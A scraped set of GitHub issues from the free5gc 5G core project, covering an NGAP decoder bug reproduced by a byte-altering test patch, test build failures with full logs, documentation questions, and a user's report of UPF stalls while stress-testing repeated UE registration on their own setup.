| 1,705,159,242 | 445 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When AMF receives NGAP message includes not comprehended but ignore IE,
AMF should skip this IE and continue to process other IEs.
But these NGAP message is rejected by APER decoder in current version of free5GC.
## To Reproduce
Steps to reproduce the behavior:
1. Apply this patch
```
diff --git a/test/registration_test.go b/test/registration_test.go
index 19a75ef..e30d029 100644
--- a/test/registration_test.go
+++ b/test/registration_test.go
@@ -56,6 +56,8 @@ func TestRegistration(t *testing.T) {
// send NGSetupRequest Msg
sendMsg, err = test.GetNGSetupRequest([]byte("\x00\x01\x02"), 24, "free5gc")
assert.Nil(t, err)
+ sendMsg[0x13] = 0x55
+ sendMsg[0x14] = 0x55
_, err = conn.Write(sendMsg)
assert.Nil(t, err)
```
2. Run `./test.sh -o TestRegistration`
## Expected behavior
Process these packet
## Screenshots
```
$ make upf && ./test.sh -o TestRegistration
Start building upf....
cd NFs/upf/cmd && \
CGO_ENABLED=0 go build -gcflags "" -ldflags "-X github.com/free5gc/util/version.VERSION=v3.2.1-14-g662c019 -X github.com/free5gc/util/version.BUILD_TIME=2023-04-28T04:11:51Z -X github.com/free5gc/util/version.COMMIT_HASH=e05c3433 -X github.com/free5gc/util/version.COMMIT_TIME=2022-09-02T01:58:48Z" -o /home/nishi/free5gc-deb/free5gc/bin/upf main.go
2023-04-28T13:12:11+09:00 [INFO][UPF][Main] UPF version:
free5GC version: v3.2.1-14-g662c019
build time: 2023-04-28T04:11:51Z
commit hash: e05c3433
commit time: 2022-09-02T01:58:48Z
go version: go1.20.3 linux/amd64
2023-04-28T13:12:11+09:00 [INFO][UPF][Cfg] Read config from [./config/upfcfg.test.yaml]
2023-04-28T13:12:11+09:00 [INFO][UPF][Cfg] ==================================================
2023-04-28T13:12:11+09:00 [INFO][UPF][Cfg] (*factory.Config)(0xc000402690)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc00040ef60)({
Addr: (string) (len=14) "10.200.200.101",
NodeID: (string) (len=14) "10.200.200.101",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc00040f110)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=14) "10.200.200.102",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) "",
MTU: (uint32) 0
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/16",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc0003e4d80)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2023-04-28T13:12:11+09:00 [INFO][UPF][Cfg] ==================================================
2023-04-28T13:12:11+09:00 [INFO][UPF][Main] Log level is set to [info] level
2023-04-28T13:12:11+09:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-04-28T13:12:11+09:00 [INFO][UPF][Main] GTP Address: "10.200.200.102:2152"
2023-04-28T13:12:11+09:00 [ERRO][UPF][Main] UPF Cli Run Error: open Gtp5g: version mismatch: operation not supported
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Run TestRegistration
2023-04-28T13:12:34+09:00 [INFO][NRF][CFG] config version [1.0.1]
2023-04-28T13:12:34+09:00 [INFO][AMF][CFG] config version [1.0.3]
2023-04-28T13:12:34+09:00 [INFO][SMF][CFG] SMF config version [1.0.2]
2023-04-28T13:12:34+09:00 [INFO][SMF][CFG] UE-Routing config version [1.0.1]
2023-04-28T13:12:34+09:00 [INFO][UDR][CFG] config version [1.0.1]
2023-04-28T13:12:34+09:00 [INFO][PCF][CFG] config version [1.0.1]
2023-04-28T13:12:34+09:00 [INFO][UDM][CFG] config version [1.0.2]
2023-04-28T13:12:34+09:00 [INFO][NSSF][CFG] config version [1.0.1]
2023-04-28T13:12:34+09:00 [INFO][AUSF][CFG] config version [1.0.2]
2023-04-28T13:12:34+09:00 [INFO][NRF][Init] NRF Log level is set to [info] level
2023-04-28T13:12:34+09:00 [INFO][NRF][Init] Server started
2023-04-28T13:12:34+09:00 [INFO][NRF][Init] nrfconfig Info: Version[1.0.1] Description[NRF initial test configuration]
2023-04-28T13:12:34+09:00 [INFO][NRF][Init] Binding addr: [127.0.0.10:8000]
2023-04-28T13:12:34+09:00 [INFO][AMF][Init] AMF Log level is set to [info] level
2023-04-28T13:12:34+09:00 [INFO][LIB][NAS] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][NAS] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][NGAP] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][NGAP] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][FSM] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][FSM] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][Aper] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][Aper] set report call : false
2023-04-28T13:12:34+09:00 [INFO][AMF][Init] Server started
2023-04-28T13:12:34+09:00 [INFO][AMF][Util] amfconfig Info: Version[1.0.3] Description[AMF initial test configuration]
2023-04-28T13:12:34+09:00 [INFO][AMF][NGAP] Listen on 127.0.0.1:38412
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/2c2f3fcb-b528-4eb0-b929-115b06238a57
2023-04-28T13:12:34+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/2c2f3fcb-b528-4eb0-b929-115b06238a57 |
2023-04-28T13:12:34+09:00 [INFO][SMF][Init] SMF Log level is set to [info] level
2023-04-28T13:12:34+09:00 [INFO][LIB][NAS] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][NAS] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][NGAP] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][NGAP] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][Aper] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][Aper] set report call : false
2023-04-28T13:12:34+09:00 [INFO][LIB][PFCP] set log level : info
2023-04-28T13:12:34+09:00 [INFO][LIB][PFCP] set report call : false
2023-04-28T13:12:34+09:00 [INFO][SMF][CTX] smfconfig Info: Version[1.0.2] Description[SMF initial single test configuration]
2023-04-28T13:12:34+09:00 [INFO][SMF][CTX] Endpoints: [10.200.200.102]
2023-04-28T13:12:34+09:00 [INFO][SMF][Init] Server started
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/a092e597-a744-44a7-8ace-5533797574a5
2023-04-28T13:12:34+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/a092e597-a744-44a7-8ace-5533797574a5 |
2023-04-28T13:12:34+09:00 [INFO][SMF][Init] SMF Registration to NRF {a092e597-a744-44a7-8ace-5533797574a5 SMF REGISTERED 0 0xc00012fb78 0xc00012fba8 [] [] [127.0.0.2] [] <nil> [] [] <nil> 0 0 0 <nil> <nil> <nil> <nil> 0xc0006d7600 <nil> <nil> <nil> <nil> <nil> map[] <nil> false 0xc00012fa70 false false []}
2023-04-28T13:12:34+09:00 [INFO][SMF][PFCP] Listen on 10.200.200.1:8805
2023-04-28T13:12:34+09:00 [INFO][SMF][App] Sending PFCP Association Request to UPF[10.200.200.101]
2023-04-28T13:12:34+09:00 [INFO][UDR][Init] UDR Log level is set to [info] level
2023-04-28T13:12:34+09:00 [INFO][UDR][Init] UDR Config Info: Version[1.0.1] Description[UDR initial test configuration]
2023-04-28T13:12:34+09:00 [INFO][UDR][Init] Server started
2023-04-28T13:12:34+09:00 [INFO][UDR][Util] udrconfig Info: Version[1.0.1] Description[UDR initial test configuration]
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/63e72ce9-6e85-487e-b679-44eb6f334018
2023-04-28T13:12:34+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/63e72ce9-6e85-487e-b679-44eb6f334018 |
2023-04-28T13:12:34+09:00 [INFO][PCF][Init] PCF Log level is set to [info] level
2023-04-28T13:12:34+09:00 [INFO][PCF][Init] Server started
2023-04-28T13:12:34+09:00 [INFO][PCF][Util] pcfconfig Info: Version[1.0.1] Description[PCF initial test configuration]
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:34+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/9394f103-056f-491d-8cb9-2aabbfa61920
2023-04-28T13:12:34+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/9394f103-056f-491d-8cb9-2aabbfa61920 |
2023-04-28T13:12:34+09:00 [INFO][NRF][DSCV] Handle NFDiscoveryRequest
2023-04-28T13:12:34+09:00 [INFO][NRF][GIN] | 200 | 127.0.0.1 | GET | /nnrf-disc/v1/nf-instances?requester-nf-type=PCF&service-names=nudr-dr&target-nf-type=UDR |
2023-04-28T13:12:35+09:00 [INFO][UDM][Init] UDM Log level is set to [info] level
2023-04-28T13:12:35+09:00 [INFO][UDM][Init] UDM Config Info: Version[1.0.2] Description[UDM initial test configuration]
2023-04-28T13:12:35+09:00 [INFO][UDM][Init] Server started
2023-04-28T13:12:35+09:00 [INFO][UDM][Util] udmconfig Info: Version[1.0.2] Description[UDM initial test configuration]
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/21dea4c5-a9a5-4c14-b1fd-ae3345264ca0
2023-04-28T13:12:35+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/21dea4c5-a9a5-4c14-b1fd-ae3345264ca0 |
2023-04-28T13:12:35+09:00 [INFO][NSSF][Init] NSSF Log level is set to [info] level
2023-04-28T13:12:35+09:00 [INFO][NSSF][Init] Server started
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/186267e7-6246-4073-b263-04c174a44103
2023-04-28T13:12:35+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/186267e7-6246-4073-b263-04c174a44103 |
2023-04-28T13:12:35+09:00 [INFO][AUSF][Init] AUSF Log level is set to [info] level
2023-04-28T13:12:35+09:00 [INFO][AUSF][Init] Server started
2023-04-28T13:12:35+09:00 [INFO][AUSF][Init] ausfconfig Info: Version[1.0.2] Description[AUSF initial test configuration]
ausf context = &{{{0 0} {[] {} <nil>} map[] 0} {{0 0} {[] {} <nil>} map[] 0} 14b4ef15-36e4-410b-894e-800e5cc6de3d ausfGroup001 8000 127.0.0.9 127.0.0.9 http://127.0.0.9:8000 http http://127.0.0.10:8000 map[nausf-auth:{14b4ef15-36e4-410b-894e-800e5cc6de3d nausf-auth 0xc0006cfb00 http REGISTERED 0xc0006cfae8 [] <nil> [] [] <nil> 0 0 0 <nil> <nil> }] [{208 93} {123 45}] 0xc00075f0e0 false}
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] urilist create
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Create NF Profile
2023-04-28T13:12:35+09:00 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/14b4ef15-36e4-410b-894e-800e5cc6de3d
2023-04-28T13:12:35+09:00 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/14b4ef15-36e4-410b-894e-800e5cc6de3d |
=== RUN TestRegistration
2023-04-28T13:12:35+09:00 [INFO][AMF][NGAP] [AMF] SCTP Accept from: 127.0.0.1:9487
2023-04-28T13:12:35+09:00 [INFO][AMF][NGAP] Create a new NG connection for: 127.0.0.1:9487
2023-04-28T13:12:35+09:00 [ERRO][AMF][NGAP][127.0.0.1:9487] NGAP decode error : OpenType reference value does not match any field
2023-04-28T13:12:43+09:00 [INFO][LIB][PFCP] Remove Request Transaction [1]
2023-04-28T13:12:43+09:00 [ERRO][SMF][App] Failed to setup an association with UPF[10.200.200.101], error:Request Transaction [1]: retry-out
2023-04-28T13:13:03+09:00 [INFO][AMF][Init] Terminating AMF...
2023-04-28T13:13:03+09:00 [INFO][AMF][Consumer] [AMF] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][AUSF][Init] Terminating AUSF...
2023-04-28T13:13:03+09:00 [INFO][AUSF][App] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][NSSF][Init] Terminating NSSF...
2023-04-28T13:13:03+09:00 [INFO][NSSF][App] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][UDR][Init] Terminating UDR...
2023-04-28T13:13:03+09:00 [INFO][UDR][Consumer] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][PCF][Init] Terminating PCF...
2023-04-28T13:13:03+09:00 [INFO][PCF][Consumer] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][SMF][Init] Terminating SMF...
2023-04-28T13:13:03+09:00 [INFO][SMF][Consumer] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][UDM][Init] Terminating UDM...
2023-04-28T13:13:03+09:00 [INFO][UDM][Consumer] Send Deregister NFInstance
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:03+09:00 [INFO][NRF][MGMT] Handle NFDeregisterRequest
2023-04-28T13:13:04+09:00 [INFO][NRF][GIN] | 204 | 127.0.0.1 | DELETE | /nnrf-nfm/v1/nf-instances/9394f103-056f-491d-8cb9-2aabbfa61920 |
2023-04-28T13:13:04+09:00 [INFO][PCF][Init] Deregister from NRF successfully
2023-04-28T13:13:04+09:00 [INFO][PCF][Init] PCF terminated
2023-04-28T13:13:04+09:00 [FATA][PCF][Init] panic: unexpected call to os.Exit(0) during test
goroutine 206 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/pcf/pkg/service.(*PCF).Start.func1.1()
/home/nishi/free5gc-deb/free5gc/NFs/pcf/pkg/service/init.go:205 +0x39
panic({0x1162540, 0x162d0c0})
/usr/local/go/src/runtime/panic.go:884 +0x213
os.Exit(0x0)
/usr/local/go/src/os/proc.go:67 +0x5a
github.com/free5gc/pcf/pkg/service.(*PCF).Start.func1()
/home/nishi/free5gc-deb/free5gc/NFs/pcf/pkg/service/init.go:211 +0x5b
created by github.com/free5gc/pcf/pkg/service.(*PCF).Start
/home/nishi/free5gc-deb/free5gc/NFs/pcf/pkg/service/init.go:201 +0xbb0
exit status 1
FAIL test 30.568s
upf: no process found
20 packets captured
20 packets received by filter
0 packets dropped by kernel
1047 packets captured
2098 packets received by filter
0 packets dropped by kernel
```
## Environment (please complete the following information):
- free5GC Version: 662c0191c140da976d403d98190658e3ebc70ee0
- OS: Ubuntu 20.04
- Kernel version: 5.15.0-71-generic
- go version: 1.20.3
|
[Bugs] Not comprehended IE in NGAP message
|
https://api.github.com/repos/free5gc/free5gc/issues/443/comments
| 2 |
2023-04-28T04:22:17Z
|
2023-06-16T15:11:34Z
|
https://github.com/free5gc/free5gc/issues/443
| 1,687,874,279 | 443 |
[
"free5gc",
"free5gc"
] |
Hello, I would like to know if the webconsole of free5gc is designed to use HTTPS. I couldn't find any related documentation and when I looked through the code, I didn't see any use of HTTPS modules.
|
Ask about https
|
https://api.github.com/repos/free5gc/free5gc/issues/442/comments
| 2 |
2023-04-26T04:03:00Z
|
2023-05-25T06:19:19Z
|
https://github.com/free5gc/free5gc/issues/442
| 1,684,227,799 | 442 |
[
"free5gc",
"free5gc"
] |
**If the design issue template is not followed, the issue might be closed.**
<!-- Remove above warning line while reporting the issue -->
## Documentation request
How to use gtp5g usage report?
## Suggestion
In the gtp5g code, I see
```
enum gtp5g_usage_report_attrs {
GTP5G_UR_URRID = 3,
GTP5G_UR_USAGE_REPORT_TRIGGER,
GTP5G_UR_URSEQN,
GTP5G_UR_VOLUME_MEASUREMENT,
GTP5G_UR_QUERY_URR_REFERENCE,
GTP5G_UR_START_TIME,
GTP5G_UR_END_TIME,
GTP5G_UR_SEID,
__GTP5G_UR_ATTR_MAX,
};
```
How to enable these features and how to collect usage reports?
|
[Docs]
|
https://api.github.com/repos/free5gc/free5gc/issues/441/comments
| 2 |
2023-04-22T21:51:45Z
|
2023-06-09T01:44:12Z
|
https://github.com/free5gc/free5gc/issues/441
| 1,679,736,826 | 441 |
[
"free5gc",
"free5gc"
] |
Hi,
I´m working in a project where I'm studying 5G, and in my pratical project I want to achieve a scenario like a GWCN. So is free5GC (Core Network) support multiple connections between more than one free5GC (Core Network) to test those scenarios?
Best reggards,
JoaoFerreira5
|
Does free5GC support GWCN scenario?
|
https://api.github.com/repos/free5gc/free5gc/issues/440/comments
| 7 |
2023-04-03T18:30:29Z
|
2023-07-31T09:11:20Z
|
https://github.com/free5gc/free5gc/issues/440
| 1,652,562,523 | 440 |
[
"free5gc",
"free5gc"
] |
Error when running `./test.sh TestRegistration`.
Here's the full code:
```
ubuntu@free5gc:~/free5gc$ ./test.sh TestRegistration
2023-03-25T12:02:05+01:00 [INFO][UPF][Main] UPF version:
free5GC version: v3.2.1-19-g0263866
build time: 2023-03-24T09:59:25Z
commit hash: e05c3433
commit time: 2022-09-02T01:58:48Z
go version: go1.17 linux/amd64
2023-03-25T12:02:05+01:00 [INFO][UPF][Cfg] Read config from [./config/upfcfg.test.yaml]
2023-03-25T12:02:05+01:00 [INFO][UPF][Cfg] ==================================================
2023-03-25T12:02:05+01:00 [INFO][UPF][Cfg] (*factory.Config)(0xc0003195e0)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc00044d440)({
Addr: (string) (len=14) "10.200.200.101",
NodeID: (string) (len=14) "10.200.200.101",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc00044d5f0)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=14) "10.200.200.102",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) "",
MTU: (uint32) 0
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/16",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc000460760)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2023-03-25T12:02:05+01:00 [INFO][UPF][Cfg] ==================================================
2023-03-25T12:02:05+01:00 [INFO][UPF][Main] Log level is set to [info] level
2023-03-25T12:02:05+01:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-03-25T12:02:05+01:00 [INFO][UPF][Main] GTP Address: "10.200.200.102:2152"
2023-03-25T12:02:05+01:00 [INFO][UPF][Buff] buff server started
2023-03-25T12:02:05+01:00 [INFO][UPF][Pfcp][10.200.200.101:8805] starting pfcp server
2023-03-25T12:02:05+01:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server started
2023-03-25T12:02:05+01:00 [INFO][UPF][Main] UPF started
# test_test [test.test]
./ngsetup_test.go:233:5: unknown field 'Tls' in struct literal of type "github.com/free5gc/nrf/pkg/factory".Sbi
FAIL test [build failed]
2023-03-25T12:02:11+01:00 [INFO][UPF][Main] Shutdown UPF ...
2023-03-25T12:02:11+01:00 [INFO][UPF][Pfcp][10.200.200.101:8805] Stopping pfcp server
2023-03-25T12:02:11+01:00 [ERRO][UPF][Pfcp][10.200.200.101:8805] read udp4 10.200.200.101:8805: use of closed network connection
2023-03-25T12:02:11+01:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp reciver stopped
2023-03-25T12:02:11+01:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server stopped
2023-03-25T12:02:11+01:00 [INFO][UPF][Buff] buff server stopped
2023-03-25T12:02:11+01:00 [INFO][UPF][Main] Terminating UPF...
2023-03-25T12:02:11+01:00 [INFO][UPF][Main] UPF terminated
2023-03-25T12:02:11+01:00 [INFO][UPF][Main] UPF exited
```
The same error occurs when testing other functionalities like: `TestGUTIRegistration`.
My specs are:
Go: `1.17`
Ubuntu: `20.04`
Linux kernel: `5.15.0-67-generic`
gcc: `9.4.0`
I followed the steps published on YouTube at: https://www.youtube.com/watch?v=04e5ZiVxaY4&list=PLeDUIabcS2_rQd3yVJrBAYb-MbcqNgjC9&index=10
|
[Bugs]
|
https://api.github.com/repos/free5gc/free5gc/issues/439/comments
| 2 |
2023-03-25T11:23:14Z
|
2023-05-16T12:15:27Z
|
https://github.com/free5gc/free5gc/issues/439
| 1,640,481,581 | 439 |
[
"free5gc",
"free5gc"
] |
Hello free5GC team.
I am trying to perform a DoS attack. And I want to make sure the system is working when I turn on and turn off one UE multiple times.
I am using the ./nr-ue command to boot a UE and use ./nr-nli -e "deregister switch-off" to turn it off. The interval I set between the operations is 2 seconds.
However, after like 200 times, the UPF stops working(I saw nothing updated in the logs) and UE is simply stuck at [Initial context setup request received]. I used the free5gc-compose v3.2.1. And I can connect 11 UE at the same time.
Appreciated a lot for any help!
|
during UE DoS, UPF stop create PDU session
|
https://api.github.com/repos/free5gc/free5gc/issues/438/comments
| 9 |
2023-03-22T23:05:44Z
|
2023-08-03T16:05:24Z
|
https://github.com/free5gc/free5gc/issues/438
| 1,636,614,944 | 438 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.